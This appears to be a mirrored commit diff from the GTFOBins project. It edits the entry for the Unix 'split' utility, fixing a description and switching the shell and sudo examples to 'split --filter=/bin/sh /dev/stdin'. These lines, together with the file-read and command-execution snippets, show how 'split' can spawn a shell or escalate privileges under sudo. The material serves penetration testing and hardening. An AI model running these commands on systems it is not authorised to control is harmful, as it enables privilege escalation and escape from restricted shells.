mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Improve split
This commit is contained in:
parent
2475ea0a5a
commit
fbe4b42890
@ -7,7 +7,7 @@ functions:
|
|||||||
split $LFILE $TF
|
split $LFILE $TF
|
||||||
cat $TF*
|
cat $TF*
|
||||||
command:
|
command:
|
||||||
- description: Command execution using an existing or new created file.
|
- description: Command execution using an existing or newly created file.
|
||||||
code: |
|
code: |
|
||||||
COMMAND=id
|
COMMAND=id
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
@ -17,9 +17,11 @@ functions:
|
|||||||
COMMAND=id
|
COMMAND=id
|
||||||
echo | split --filter=$COMMAND /dev/stdin
|
echo | split --filter=$COMMAND /dev/stdin
|
||||||
shell:
|
shell:
|
||||||
- code: |
|
- description: The shell prompt is not printed.
|
||||||
split --filter=bash /dev/stdin
|
code: |
|
||||||
|
split --filter=/bin/sh /dev/stdin
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- description: The shell prompt is not printed.
|
||||||
split --filter=bash /dev/stdin
|
code: |
|
||||||
|
split --filter=/bin/sh /dev/stdin
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user